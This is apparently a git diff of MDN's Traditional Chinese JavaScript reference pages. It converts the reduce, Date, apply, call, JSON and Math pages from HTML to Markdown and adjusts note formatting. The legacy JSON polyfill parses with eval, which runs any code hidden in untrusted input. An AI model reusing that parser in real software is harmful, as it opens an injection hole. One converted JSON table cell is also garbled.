arr.sort().reduce((init, current) => { + if (init.length === 0 || init[init.length - 1] !== current) { + init.push(current); + } + return init; +}, []); +console.log(result); //[1,2,3,4,5] +``` + +### 序列執行 Promise + +```js +/** + * Runs promises from promise array in chained manner + * + * @param {array} arr - promise arr + * @return {Object} promise object + */ +function runPromiseInSequense(arr) { + return arr.reduce((promiseChain, currentPromise) => { + return promiseChain.then((chainedResult) => { + return currentPromise(chainedResult) + .then((res) => res) + }) + }, Promise.resolve()); +} + +// promise function 1 +function p1() { + return new Promise((resolve, reject) => { + resolve(5); + }); +} + +// promise function 2 +function p2(a) { + return new Promise((resolve, reject) => { + resolve(a * 2); + }); +} + +// promise function 3 +function p3(a) { + return new Promise((resolve, reject) => { + resolve(a * 3); + }); +} + +const promiseArr = [p1, p2, p3]; +runPromiseInSequense(promiseArr) + .then((res) => { + console.log(res); // 30 + }); +``` + +## Polyfill + +```js +// Production steps of ECMA-262, Edition 5, 15.4.4.21 +// Reference: http://es5.github.io/#x15.4.4.21 +// https://tc39.github.io/ecma262/#sec-array.prototype.reduce +if (!Array.prototype.reduce) { + Object.defineProperty(Array.prototype, 'reduce', { + value: function(callback /*, initialValue*/) { + if (this === null) { + throw new TypeError( 'Array.prototype.reduce ' + + 'called on null or undefined' ); + } + if (typeof callback !== 'function') { + throw new TypeError( callback + + ' is not a function'); + } + + // 1. Let O be ? ToObject(this value). + var o = Object(this); + + // 2. Let len be ? ToLength(? Get(O, "length")). + var len = o.length >>> 0; + + // Steps 3, 4, 5, 6, 7 + var k = 0; + var value; + + if (arguments.length >= 2) { + value = arguments[1]; + } else { + while (k < len && !(k in o)) { + k++; + } + + // 3. If len is 0 and initialValue is not present, + // throw a TypeError exception. + if (k >= len) { + throw new TypeError( 'Reduce of empty array ' + + 'with no initial value' ); + } + value = o[k++]; + } + + // 8. Repeat, while k < len + while (k < len) { + // a. Let Pk be ! ToString(k). + // b. Let kPresent be ? HasProperty(O, Pk). + // c. If kPresent is true, then + // i. Let kValue be ? Get(O, Pk). + // ii. Let accumulator be ? Call( + // callbackfn, undefined, + // « accumulator, kValue, k, O »). + if (k in o) { + value = callback(value, o[k], k, o); + } + + // d. Increase k by 1. + k++; + } + + // 9. Return accumulator. + return value; + } + }); +} +``` + +如果還需要支援老舊到不支援 [`Object.defineProperty`](/zh-TW/docs/Web/JavaScript/Reference/Global_Objects/Object/defineProperty) 的 JavaScript 引擎,最好不要 polyfill `Array.prototype` 方法,因為你無法令其不可枚舉(non-enumerable)。 + +## 規範 + +{{Specifications}} + +## 瀏覽器相容性 + +{{Compat("javascript.builtins.Array.reduce")}} + +## 參見 + +- {{jsxref("Array.prototype.reduceRight()")}} diff --git a/files/zh-tw/web/javascript/reference/global_objects/array/some/index.md b/files/zh-tw/web/javascript/reference/global_objects/array/some/index.md index bb333d2fec2589..93bda0ef26058b 100644 --- a/files/zh-tw/web/javascript/reference/global_objects/array/some/index.md +++ b/files/zh-tw/web/javascript/reference/global_objects/array/some/index.md @@ -16,7 +16,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Array/some {{EmbedInteractiveExample("pages/js/array-some.html")}} -> **備註:**如果輸入空陣列的話,這個方法會回傳 `false`。 +> **備註:** 如果輸入空陣列的話,這個方法會回傳 `false`。 ## 語法 diff --git a/files/zh-tw/web/javascript/reference/global_objects/date/getday/index.md b/files/zh-tw/web/javascript/reference/global_objects/date/getday/index.md index ead3c7801bf273..f48193b6a3f5c9 100644 --- a/files/zh-tw/web/javascript/reference/global_objects/date/getday/index.md +++ b/files/zh-tw/web/javascript/reference/global_objects/date/getday/index.md @@ -32,7 +32,7 @@ var weekday = Xmas95.getDay(); console.log(weekday); // 1 ``` -> **備註:**如果需要,可以使用{{jsxref("DateTimeFormat", "Intl.DateTimeFormat")}}加上`options`參數來獲取星期幾全名。使使用此方法能輕鬆做出各種國際語言: +> **備註:** 如果需要,可以使用{{jsxref("DateTimeFormat", "Intl.DateTimeFormat")}}加上`options`參數來獲取星期幾全名。使使用此方法能輕鬆做出各種國際語言: > > ```js > var options = { weekday: 'long'}; diff --git a/files/zh-tw/web/javascript/reference/global_objects/date/index.md b/files/zh-tw/web/javascript/reference/global_objects/date/index.md index 1fdb938d251cee..50d759ad128d64 100644 --- a/files/zh-tw/web/javascript/reference/global_objects/date/index.md +++ b/files/zh-tw/web/javascript/reference/global_objects/date/index.md @@ -19,13 +19,13 @@ new Date(dateString); new Date(year, month[, day[, hour[, minutes[, seconds[, milliseconds]]]]]); ``` -> **備註:**JavaScript `Date` 物件只能由以 Date 作為建構子來產生,如果把 Date 作為一般的函數來呼叫(省略掉 {{jsxref("Operators/new", "new")}} 運算子)將會得到一個字串而非 Date 物件;與其它 JavaScript 物件不同,它並沒有物件實體語法(例如:以中刮號 \[ ] 表示陣列的宣告方式)。 +> **備註:** JavaScript `Date` 物件只能由以 Date 作為建構子來產生,如果把 Date 作為一般的函數來呼叫(省略掉 {{jsxref("Operators/new", "new")}} 運算子)將會得到一個字串而非 Date 物件;與其它 JavaScript 物件不同,它並沒有物件實體語法(例如:以中刮號 \[ ] 表示陣列的宣告方式)。 ### 參數 -> **備註:**當傳入超過一個參數到 Date 建構子,若參數值超過它的合理範圍(例如:傳數值 13 到月份,或傳數值 70 給分鐘),相鄰的參數值將會被調整。例如: `new Date(2013, 13, 1)` 將等同於 `new Date(2014, 1, 1)` 都會建立代表 `2014-02-01` 的物件(注意月份值由 0 開始)。同樣的, `new Date(2013, 2, 1, 0, 70)` 與 `new Date(2013, 2, 1, 1, 10)` 一樣會建立代表 `2013-03-01T01:10:00` 的 Date 物件。 +> **備註:** 當傳入超過一個參數到 Date 建構子,若參數值超過它的合理範圍(例如:傳數值 13 到月份,或傳數值 70 給分鐘),相鄰的參數值將會被調整。例如: `new Date(2013, 13, 1)` 將等同於 `new Date(2014, 1, 1)` 都會建立代表 `2014-02-01` 的物件(注意月份值由 0 開始)。同樣的, `new Date(2013, 2, 1, 0, 70)` 與 `new Date(2013, 2, 1, 1, 10)` 一樣會建立代表 `2013-03-01T01:10:00` 的 Date 物件。 -> **備註:**當傳入超過一個參數到 Date 建構子,所指定的參數值會視為本地時間。如果希望指定的值為世界標準時間(UTC),則應使用 `new Date({{jsxref("Date.UTC()", "Date.UTC(...)")}})` 語法,傳入一樣格式的參數。 +> **備註:** 當傳入超過一個參數到 Date 建構子,所指定的參數值會視為本地時間。如果希望指定的值為世界標準時間(UTC),則應使用 `new Date({{jsxref("Date.UTC()", "Date.UTC(...)")}})` 語法,傳入一樣格式的參數。 - `value` - : 自世界標準時間(UTC) 1970 年 1 月 1 日 00:00:00 開始的毫秒整數(Integer)值(Unix 紀元;但要注意到大多 Unix 時間戳記是以秒而非毫秒為單位)。 @@ -33,7 +33,7 @@ new Date(year, month[, day[, hour[, minutes[, seconds[, milliseconds]]]]]); - : 表示時間日期的字串。這個字串應該要能被 {{jsxref("Date.parse()")}} 方法解析(符合 [IETF-compliant RFC 2822 timestamps](http://tools.ietf.org/html/rfc2822#page-14) 及 [version of ISO8601](http://www.ecma-international.org/ecma-262/5.1/#sec-15.9.1.15) 格式要求). - > **備註:**由於各家瀏覽器有所不同且具有差異性,因此非常不鼓勵使用 Date 建構子(或 `Date.parse` 方法,它們是同等的)來解析時間日期字串。 + > **備註:** 由於各家瀏覽器有所不同且具有差異性,因此非常不鼓勵使用 Date 建構子(或 `Date.parse` 方法,它們是同等的)來解析時間日期字串。 - `year` - : 表示年份的整數。當數值落在 0 到 99 之間,表示 1900 到 1999 之間的年份。參考[下面的範例](#兩位數的年份對應到_1900_-_1999). @@ -74,7 +74,7 @@ new Date(year, month[, day[, hour[, minutes[, seconds[, milliseconds]]]]]); - : 解析字串所表示的時間,回傳由 1970/01/01 00:00:00 (UTC) 到該時間的毫秒數值。 - > **備註:**由於瀏覽器之間的不同與差異,強烈不建議使用 `Date.parse` 。 + > **備註:** 由於瀏覽器之間的不同與差異,強烈不建議使用 `Date.parse` 。 - {{jsxref("Date.UTC()")}} - : 需要傳入與建構子相同的參數數目(即 2 到 7 個),會得到由 1970-01-01 00:00:00 UTC 到該日期時間的毫秒數。(輸入的參數會視為世界標準時間,而非本地時間) @@ -93,7 +93,7 @@ new Date(year, month[, day[, hour[, minutes[, seconds[, milliseconds]]]]]); 接下來的幾個範例,展示幾種建立 Date 物件的方式: -> **備註:**由於瀏覽器之間的不同與差異,強烈不建議使用解析字串的方式建立 Date 物件。 +> **備註:** 由於瀏覽器之間的不同與差異,強烈不建議使用解析字串的方式建立 Date 物件。 ```js var today = new Date(); @@ -156,7 +156,7 @@ function printElapsedTime(fTest) { yourFunctionReturn = printElapsedTime(yourFunction); ``` -> **備註:**在瀏覽器支援 {{domxref("window.performance", "Web Performance API", "", 1)}} 高精度特性下, {{domxref("Performance.now()")}} 可以提供比 {{jsxref("Date.now()")}} 更可靠、精確的執行時間測試結果。 +> **備註:** 在瀏覽器支援 {{domxref("window.performance", "Web Performance API", "", 1)}} 高精度特性下, {{domxref("Performance.now()")}} 可以提供比 {{jsxref("Date.now()")}} 更可靠、精確的執行時間測試結果。 ## 規範 diff --git a/files/zh-tw/web/javascript/reference/global_objects/function/apply/index.md b/files/zh-tw/web/javascript/reference/global_objects/function/apply/index.md index d4586a58eae00a..bbbd0154173371 100644 --- a/files/zh-tw/web/javascript/reference/global_objects/function/apply/index.md +++ b/files/zh-tw/web/javascript/reference/global_objects/function/apply/index.md @@ -7,7 +7,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Function/apply `apply() 方法會呼叫一個以 this 的代表值和一個陣列形式的值組(或是一個 `[array-like object](/en-US/docs/Web/JavaScript/Guide/Indexed_collections#Working_with_array-like_objects) `)為參數的函式。` -> **備註:**這個函式的語法和{{jsxref("Function.call", "call()")}} 幾乎一樣,最大的不同是 `call()` 接受**`一連串的參數`**,而 `apply() 接受一組陣列形式的參數。` +> **備註:** 這個函式的語法和{{jsxref("Function.call", "call()")}} 幾乎一樣,最大的不同是 `call()` 接受**`一連串的參數`**,而 `apply() 接受一組陣列形式的參數。` ## 語法 @@ -36,7 +36,7 @@ fun.apply(thisArg, [argsArray]) 從 ECMAScript 5th 版本後,也可以使用陣列形式的物件,在實踐上這代表他會擁有 ` length 以及整數範圍 `` (0...length-1) 的屬性。舉例來說,你可以使用 `{{domxref("NodeList")}} 或是一個像這樣的自定義屬性: `{ 'length': 2, '0': 'eat', '1': 'bananas' }。` -> **備註:**一般瀏覽器,包括 Chrome 14 及 Internet Explorer 9,仍不支援陣列形式的物件,所以會對此丟出一個錯誤。 +> **備註:** 一般瀏覽器,包括 Chrome 14 及 Internet Explorer 9,仍不支援陣列形式的物件,所以會對此丟出一個錯誤。 ## 範例 @@ -52,7 +52,7 @@ Function.prototype.construct = function(aArgs) { }; ``` -> **備註:**如上範例的 `Object.create()` 方法是屬於比較新的寫法。如需使用閉包的替代方法,請參考以下的範例: +> **備註:** 如上範例的 `Object.create()` 方法是屬於比較新的寫法。如需使用閉包的替代方法,請參考以下的範例: > > ```js > Function.prototype.construct = function(aArgs) { @@ -81,7 +81,7 @@ console.log(myInstance instanceof MyConstructor); // logs 'true' console.log(myInstance.constructor); // logs 'MyConstructor' ``` -> **備註:**This non-native `Function.construct` method will not work with some native constructors (like {{jsxref("Date")}}, for example). In these cases you have to use the {{jsxref("Function.prototype.bind")}} method (for example, imagine having an array like the following, to be used with {{jsxref("Global_Objects/Date", "Date")}} constructor: `[2012, 11, 4]`; in this case you have to write something like: `new (Function.prototype.bind.apply(Date, [null].concat([2012, 11, 4])))()` — anyhow this is not the best way to do things and probably should not be used in any production environment). +> **備註:** This non-native `Function.construct` method will not work with some native constructors (like {{jsxref("Date")}}, for example). In these cases you have to use the {{jsxref("Function.prototype.bind")}} method (for example, imagine having an array like the following, to be used with {{jsxref("Global_Objects/Date", "Date")}} constructor: `[2012, 11, 4]`; in this case you have to write something like: `new (Function.prototype.bind.apply(Date, [null].concat([2012, 11, 4])))()` — anyhow this is not the best way to do things and probably should not be used in any production environment). ### 使用 `apply` 於內建的函數 diff --git a/files/zh-tw/web/javascript/reference/global_objects/function/call/index.html b/files/zh-tw/web/javascript/reference/global_objects/function/call/index.html deleted file mode 100644 index cf99df673fbdcc..00000000000000 --- a/files/zh-tw/web/javascript/reference/global_objects/function/call/index.html +++ /dev/null @@ -1,115 +0,0 @@ ---- -title: Function.prototype.call -slug: Web/JavaScript/Reference/Global_Objects/Function/call -translation_of: Web/JavaScript/Reference/Global_Objects/Function/call ---- -

{{JSRef}}

- -

概述

- -

使用給定的this參數以及分別給定的參數來呼叫某個函數

- -
-

備註: 此函數的所有語法大致上與apply()相同,他們基本上不同處只有 call() 接受一連串的參數,而 apply() 單一的array作為參數

-
- - - - - - - - - - - - - - - - - -
Function 物件的方法
被實作於JavaScript 1.3
ECMAScript 版本ECMAScript 第三版
- -

語法

- -
fun.call(thisArg[, arg1[, arg2[, ...]]])
- -

參數

- -
-
thisArg
-
呼叫fun時提供的this值。 注意,它可能是一個無法在函數內看到的值:若這個函數是在非嚴苛模式( non-strict mode ), null 、undefined 將會被置換成全域變數,而原生型態的值將會被封裝
-
arg1, arg2, ...
-
其他參數
-
- -

描述

- -

你可以在呼叫一個現存的函數時,使用不一樣的 this 物件。 this 會參照到目前的物件,呼叫的物件上

- -

使用 call, 你可以實作函數一次,然後在其他的物件上直接繼承它,而不用在新的物件上重寫該函數

- -

範例

- -

使用 call 來串接物件上的建構子

- -

你可以使用 call 來串接其他物件的建構子,就像 Java. 下面的例子中,Product 物件的建構子定義了兩個參數 name 以及 price. 其他函數FoodToy 引用了 Product 並傳入 thisnameprice。 Product 初始化它的屬性 nameprice, 而兩個子函數則定義了category。

- -
function Product(name, price) {
-  this.name = name;
-  this.price = price;
-
-  if (price < 0)
-    throw RangeError('Cannot create product "' + name + '" with a negative price');
-  return this;
-}
-
-function Food(name, price) {
-  Product.call(this, name, price);
-  this.category = 'food';
-}
-Food.prototype = new Product();
-
-function Toy(name, price) {
-  Product.call(this, name, price);
-  this.category = 'toy';
-}
-Toy.prototype = new Product();
-
-var cheese = new Food('feta', 5);
-var fun = new Toy('robot', 40);
-
- -

使用 call 來呼叫匿名的函數

- -

下面這個簡易的例子中,我們做了一個匿名的函數,並用 call 來讓它應用在每個在串列中的物件中. 這個匿名函數的主要用途是加入一個print函數到每個物件上,這個函數可以印出每個物件的index指標。 傳入物件作為 this 的值並不是必要的,但他有解釋的用途。

- -
var animals = [
-  {species: 'Lion', name: 'King'},
-  {species: 'Whale', name: 'Fail'}
-];
-
-for (var i = 0; i < animals.length; i++) {
-  (function (i) {
-    this.print = function () {
-      console.log('#' + i  + ' ' + this.species + ': ' + this.name);
-    }
-    this.print();
-  }).call(animals[i], i);
-}
-
- -

規範

- -{{Specifications}} - -

瀏覽器相容性

- -{{Compat}} - -

參見

- - diff --git a/files/zh-tw/web/javascript/reference/global_objects/function/call/index.md b/files/zh-tw/web/javascript/reference/global_objects/function/call/index.md new file mode 100644 index 00000000000000..789bc5793d261d --- /dev/null +++ b/files/zh-tw/web/javascript/reference/global_objects/function/call/index.md @@ -0,0 +1,117 @@ +--- +title: Function.prototype.call +slug: Web/JavaScript/Reference/Global_Objects/Function/call +translation_of: Web/JavaScript/Reference/Global_Objects/Function/call +--- +{{JSRef}} + +## 概述 + +使用給定的`this`參數以及分別給定的參數來呼叫某個函數 + +> **備註:** 此函數的所有語法大致上與[`apply()`](/en-US/docs/JavaScript/Reference/Global_Objects/Function/apply)相同,他們基本上不同處只有 `call()` 接受一連串的參數,而 `apply()` 單一的 array 作為參數 + + + + + + + + + + + + + + + + + +
+ Function 物件的方法 +
被實作於JavaScript 1.3
ECMAScript 版本ECMAScript 第三版
+ +## 語法 + +```plain +fun.call(thisArg[, arg1[, arg2[, ...]]]) +``` + +### 參數 + +- `thisArg` + - : 呼叫*`fun`*時提供的`this`值。 注意,它可能是一個無法在函數內看到的值:若這個函數是在非嚴苛模式( [non-strict mode](/zh-TW/docs/JavaScript/Reference/Functions_and_function_scope/Strict_mode) ), `null` `、undefined` 將會被置換成全域變數,而原生型態的值將會被封裝 +- `arg1, arg2, ...` + - : 其他參數 + +## 描述 + +你可以在呼叫一個現存的函數時,使用不一樣的 `this` 物件。 `this` 會參照到目前的物件,呼叫的物件上 + +使用 `call,` 你可以實作函數一次,然後在其他的物件上直接繼承它,而不用在新的物件上重寫該函數 + +## 範例 + +### 使用 `call` 來串接物件上的建構子 + +你可以使用 `call` 來串接其他物件的建構子,就像 Java. 下面的例子中,`Product` 物件的建構子定義了兩個參數 `name` 以及 `price`. 其他函數`Food` 及 `Toy` 引用了 `Product` 並傳入 `this` 、 `name` 和 `price`。 Product 初始化它的屬性 `name` 和 `price`, 而兩個子函數則定義了`category。` + +```js +function Product(name, price) { + this.name = name; + this.price = price; + + if (price < 0) + throw RangeError('Cannot create product "' + name + '" with a negative price'); + return this; +} + +function Food(name, price) { + Product.call(this, name, price); + this.category = 'food'; +} +Food.prototype = new Product(); + +function Toy(name, price) { + Product.call(this, name, price); + this.category = 'toy'; +} +Toy.prototype = new Product(); + +var cheese = new Food('feta', 5); +var fun = new Toy('robot', 40); +``` + +### 使用 `call` 來呼叫匿名的函數 + +下面這個簡易的例子中,我們做了一個匿名的函數,並用 `call` 來讓它應用在每個在串列中的物件中. 這個匿名函數的主要用途是加入一個 print 函數到每個物件上,這個函數可以印出每個物件的 index 指標。 傳入物件作為 `this` 的值並不是必要的,但他有解釋的用途。 + +```js +var animals = [ + {species: 'Lion', name: 'King'}, + {species: 'Whale', name: 'Fail'} +]; + +for (var i = 0; i < animals.length; i++) { + (function (i) { + this.print = function () { + console.log('#' + i + ' ' + this.species + ': ' + this.name); + } + this.print(); + }).call(animals[i], i); +} +``` + +## 規範 + +{{Specifications}} + +## 瀏覽器相容性 + +{{Compat}} + +## 參見 + +- [apply](/zh-TW/docs/JavaScript/Reference/Global_Objects/Function/apply) diff --git a/files/zh-tw/web/javascript/reference/global_objects/json/index.html b/files/zh-tw/web/javascript/reference/global_objects/json/index.html deleted file mode 100644 index 6b64869628585a..00000000000000 --- a/files/zh-tw/web/javascript/reference/global_objects/json/index.html +++ /dev/null @@ -1,183 +0,0 @@ ---- -title: JSON -slug: Web/JavaScript/Reference/Global_Objects/JSON -tags: - - JSON - - JavaScript - - NeedsTranslation - - Object - - Reference - - Référence(2) - - TopicStub - - polyfill -translation_of: Web/JavaScript/Reference/Global_Objects/JSON ---- -
{{JSRef}}
- -

JSON 物件包含了解析、或是轉換為 JavaScript Object Notation({{glossary("JSON")}})格式的方法。這物件不能被呼叫或建構;而除了它的兩個方法屬性以外,本身也沒有特別的功能。

- -

描述

- -

JavaScript Object Notation

- -

JSON 是序列物件、陣列、數字、字串、布林值、還有 {{jsxref("null")}} 的語法。它建基、但不同於 JavaScript:有些 JavaScript 不是 JSON、而有些 JSON 不是 JavaScript。請參見 JSON: The JavaScript subset that isn't

- - - - - - - - - - - - - - - - - - - - - - - -
JavaScript 與 JSON 的差別
JavaScript 型別與 JSON 的差別
物件與陣列屬性名稱必須是包含在雙引號中的字串;禁止尾後逗號。
數字數字不可以0作為開頭(在 JSON.stringify 0會被忽略,但是在 JSON.parse 會造成語法錯誤);小數點前面必須至少有一位數字。
字串 -

Only a limited set of characters may be escaped; certain control characters are prohibited; the Unicode line separator (U+2028) and paragraph separator (U+2029) characters are permitted; strings must be double-quoted. See the following example where {{jsxref("JSON.parse()")}} works fine and a {{jsxref("SyntaxError")}} is thrown when evaluating the code as JavaScript:

- -
-var code = '"\u2028\u2029"';
-JSON.parse(code); // works fine
-eval(code); // fails
-
-
- -

JSON 的完整語法如下:

- -
JSON = null
-    or true or false
-    or JSONNumber
-    or JSONString
-    or JSONObject
-    or JSONArray
-
-JSONNumber = - PositiveNumber
-          or PositiveNumber
-PositiveNumber = DecimalNumber
-              or DecimalNumber . Digits
-              or DecimalNumber . Digits ExponentPart
-              or DecimalNumber ExponentPart
-DecimalNumber = 0
-             or OneToNine Digits
-ExponentPart = e Exponent
-            or E Exponent
-Exponent = Digits
-        or + Digits
-        or - Digits
-Digits = Digit
-      or Digits Digit
-Digit = 0 through 9
-OneToNine = 1 through 9
-
-JSONString = ""
-          or " StringCharacters "
-StringCharacters = StringCharacter
-                or StringCharacters StringCharacter
-StringCharacter = any character
-                  except " or \ or U+0000 through U+001F
-               or EscapeSequence
-EscapeSequence = \" or \/ or \\ or \b or \f or \n or \r or \t
-              or \u HexDigit HexDigit HexDigit HexDigit
-HexDigit = 0 through 9
-        or A through F
-        or a through f
-
-JSONObject = { }
-          or { Members }
-Members = JSONString : JSON
-       or Members , JSONString : JSON
-
-JSONArray = [ ]
-         or [ ArrayElements ]
-ArrayElements = JSON
-             or ArrayElements , JSON
-
- -

Insignificant whitespace may be present anywhere except within a JSONNumber (numbers must contain no whitespace) or JSONString (where it is interpreted as the corresponding character in the string, or would cause an error). The tab character (U+0009), carriage return (U+000D), line feed (U+000A), and space (U+0020) characters are the only valid whitespace characters.

- -

方法

- -
-
{{jsxref("JSON.parse()")}}
-
解析 JSON 字串,能改變給定值和屬性、接著回傳解析值。
-
{{jsxref("JSON.stringify()")}}
-
回傳給定的 JSON 對應字串,可自行決定只想包括哪些特定屬性、或替換的屬性值。
-
- -

Polyfill

- -

舊版瀏覽器並不支援 JSON。你可以在程式碼開頭插入以下程式碼,以解決這個問題。這個程式碼能實做不支援原生 JSON 物件的瀏覽器(如 Internet Explorer 6)。

- -

以下演算法能仿製原生 JSON 物件。

- -
if (!window.JSON) {
-  window.JSON = {
-    parse: function(sJSON) { return eval('(' + sJSON + ')'); },
-    stringify: (function () {
-      var toString = Object.prototype.toString;
-      var hasOwnProperty = Object.prototype.hasOwnProperty;
-      var isArray = Array.isArray || function (a) { return toString.call(a) === '[object Array]'; };
-      var escMap = {'"': '\\"', '\\': '\\\\', '\b': '\\b', '\f': '\\f', '\n': '\\n', '\r': '\\r', '\t': '\\t'};
-      var escFunc = function (m) { return escMap[m] || '\\u' + (m.charCodeAt(0) + 0x10000).toString(16).substr(1); };
-      var escRE = /[\\"\u0000-\u001F\u2028\u2029]/g;
-      return function stringify(value) {
-        if (value == null) {
-          return 'null';
-        } else if (typeof value === 'number') {
-          return isFinite(value) ? value.toString() : 'null';
-        } else if (typeof value === 'boolean') {
-          return value.toString();
-        } else if (typeof value === 'object') {
-          if (typeof value.toJSON === 'function') {
-            return stringify(value.toJSON());
-          } else if (isArray(value)) {
-            var res = '[';
-            for (var i = 0; i < value.length; i++)
-              res += (i ? ', ' : '') + stringify(value[i]);
-            return res + ']';
-          } else if (toString.call(value) === '[object Object]') {
-            var tmp = [];
-            for (var k in value) {
-              // in case "hasOwnProperty" has been shadowed
-              if (hasOwnProperty.call(value, k))
-                tmp.push(stringify(k) + ': ' + stringify(value[k]));
-            }
-            return '{' + tmp.join(', ') + '}';
-          }
-        }
-        return '"' + value.toString().replace(escRE, escFunc) + '"';
-      };
-    })()
-  };
-}
-
- -

More complex well-known polyfills for the JSON object are JSON2 and JSON3.

- -

規範

- -{{Specifications}} - -

瀏覽器相容性

- - - -
{{Compat("javascript.builtins.JSON")}}
- -

參見

- -
    -
  • {{jsxref("Date.prototype.toJSON()")}}
  • -
diff --git a/files/zh-tw/web/javascript/reference/global_objects/json/index.md b/files/zh-tw/web/javascript/reference/global_objects/json/index.md new file mode 100644 index 00000000000000..512ba849cce2ab --- /dev/null +++ b/files/zh-tw/web/javascript/reference/global_objects/json/index.md @@ -0,0 +1,157 @@ +--- +title: JSON +slug: Web/JavaScript/Reference/Global_Objects/JSON +tags: + - JSON + - JavaScript + - NeedsTranslation + - Object + - Reference + - Référence(2) + - TopicStub + - polyfill +translation_of: Web/JavaScript/Reference/Global_Objects/JSON +--- +{{JSRef}} + +**`JSON`** 物件包含了解析、或是轉換為 [JavaScript Object Notation](http://json.org/)({{glossary("JSON")}})格式的方法。這物件不能被呼叫或建構;而除了它的兩個方法屬性以外,本身也沒有特別的功能。 + +## 描述 + +### JavaScript Object Notation + +JSON 是序列物件、陣列、數字、字串、布林值、還有 {{jsxref("null")}} 的語法。它建基、但不同於 JavaScript:有些 JavaScript 不是 JSON、而有些 JSON 不是 JavaScript。請參見 [JSON: The JavaScript subset that isn't](http://timelessrepo.com/json-isnt-a-javascript-subset)。 + +| JavaScript 型別 | 與 JSON 的差別 | +| --------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| 物件與陣列 | 屬性名稱必須是包含在雙引號中的字串;禁止尾後逗號。 | +| 數字 | 數字不可以 0 作為開頭(在 JSON.stringify 0 會被忽略,但是在 JSON.parse 會造成語法錯誤);小數點前面必須至少有一位數字。 | +| 字串 | Only a limited set of characters may be escaped; certain control characters are prohibited; the Unicode line separator ([U+2028](http://unicode-table.com/en/2028/)) and paragraph separator ([U+2029](http://unicode-table.com/en/2029/)) characters are permitted; strings must be double-quoted. See the following example where {{jsxref("JSON.parse()")}} works fine and a {{jsxref("SyntaxError")}} is thrown when evaluating the code as JavaScript:```js | + +var code = '"\u2028\u2029"'; JSON.parse(code); // works fine eval(code); // fails + +````| + +JSON 的完整語法如下: + +```plain +JSON = null + or true or false + or JSONNumber + or JSONString + or JSONObject + or JSONArray + +JSONNumber = - PositiveNumber + or PositiveNumber +PositiveNumber = DecimalNumber + or DecimalNumber . Digits + or DecimalNumber . Digits ExponentPart + or DecimalNumber ExponentPart +DecimalNumber = 0 + or OneToNine Digits +ExponentPart = e Exponent + or E Exponent +Exponent = Digits + or + Digits + or - Digits +Digits = Digit + or Digits Digit +Digit = 0 through 9 +OneToNine = 1 through 9 + +JSONString = "" + or " StringCharacters " +StringCharacters = StringCharacter + or StringCharacters StringCharacter +StringCharacter = any character + except " or \ or U+0000 through U+001F + or EscapeSequence +EscapeSequence = \" or \/ or \\ or \b or \f or \n or \r or \t + or \u HexDigit HexDigit HexDigit HexDigit +HexDigit = 0 through 9 + or A through F + or a through f + +JSONObject = { } + or { Members } +Members = JSONString : JSON + or Members , JSONString : JSON + +JSONArray = [ ] + or [ ArrayElements ] +ArrayElements = JSON + or ArrayElements , JSON +```` + +Insignificant whitespace may be present anywhere except within a `JSONNumber` (numbers must contain no whitespace) or `JSONString` (where it is interpreted as the corresponding character in the string, or would cause an error). The tab character ([U+0009](http://unicode-table.com/en/0009/)), carriage return ([U+000D](http://unicode-table.com/en/000D/)), line feed ([U+000A](http://unicode-table.com/en/000A/)), and space ([U+0020](http://unicode-table.com/en/0020/)) characters are the only valid whitespace characters. + +## 方法 + +- {{jsxref("JSON.parse()")}} + - : 解析 JSON 字串,能改變給定值和屬性、接著回傳解析值。 +- {{jsxref("JSON.stringify()")}} + - : 回傳給定的 JSON 對應字串,可自行決定只想包括哪些特定屬性、或替換的屬性值。 + +## Polyfill + +舊版瀏覽器並不支援 `JSON`。你可以在程式碼開頭插入以下程式碼,以解決這個問題。這個程式碼能實做不支援原生 `JSON` 物件的瀏覽器(如 Internet Explorer 6)。 + +以下演算法能仿製原生 `JSON` 物件。 + +```js +if (!window.JSON) { + window.JSON = { + parse: function(sJSON) { return eval('(' + sJSON + ')'); }, + stringify: (function () { + var toString = Object.prototype.toString; + var hasOwnProperty = Object.prototype.hasOwnProperty; + var isArray = Array.isArray || function (a) { return toString.call(a) === '[object Array]'; }; + var escMap = {'"': '\\"', '\\': '\\\\', '\b': '\\b', '\f': '\\f', '\n': '\\n', '\r': '\\r', '\t': '\\t'}; + var escFunc = function (m) { return escMap[m] || '\\u' + (m.charCodeAt(0) + 0x10000).toString(16).substr(1); }; + var escRE = /[\\"\u0000-\u001F\u2028\u2029]/g; + return function stringify(value) { + if (value == null) { + return 'null'; + } else if (typeof value === 'number') { + return isFinite(value) ? value.toString() : 'null'; + } else if (typeof value === 'boolean') { + return value.toString(); + } else if (typeof value === 'object') { + if (typeof value.toJSON === 'function') { + return stringify(value.toJSON()); + } else if (isArray(value)) { + var res = '['; + for (var i = 0; i < value.length; i++) + res += (i ? ', ' : '') + stringify(value[i]); + return res + ']'; + } else if (toString.call(value) === '[object Object]') { + var tmp = []; + for (var k in value) { + // in case "hasOwnProperty" has been shadowed + if (hasOwnProperty.call(value, k)) + tmp.push(stringify(k) + ': ' + stringify(value[k])); + } + return '{' + tmp.join(', ') + '}'; + } + } + return '"' + value.toString().replace(escRE, escFunc) + '"'; + }; + })() + }; +} +``` + +More complex well-known [polyfills](http://remysharp.com/2010/10/08/what-is-a-polyfill/) for the `JSON` object are [JSON2](https://github.com/douglascrockford/JSON-js) and [JSON3](http://bestiejs.github.com/json3). + +## 規範 + +{{Specifications}} + +## 瀏覽器相容性 + +{{Compat("javascript.builtins.JSON")}} + +## 參見 + +- {{jsxref("Date.prototype.toJSON()")}} diff --git a/files/zh-tw/web/javascript/reference/global_objects/math/index.md b/files/zh-tw/web/javascript/reference/global_objects/math/index.md index 6283b5de877176..8f24075c1c9bfb 100644 --- a/files/zh-tw/web/javascript/reference/global_objects/math/index.md +++ b/files/zh-tw/web/javascript/reference/global_objects/math/index.md @@ -38,9 +38,9 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Math ## 方法 -> **備註:**三角函數 (`sin()`, `cos()`, `tan()`, `asin()`, `acos()`, `atan()`, `atan2()`) 的參數或回傳值的角度皆以弧度為單位。把角度乘上 `(Math.PI / 180)` 會得到弧度單位,將弧度除以該數則會轉換回一般所用的角度單位。 +> **備註:** 三角函數 (`sin()`, `cos()`, `tan()`, `asin()`, `acos()`, `atan()`, `atan2()`) 的參數或回傳值的角度皆以弧度為單位。把角度乘上 `(Math.PI / 180)` 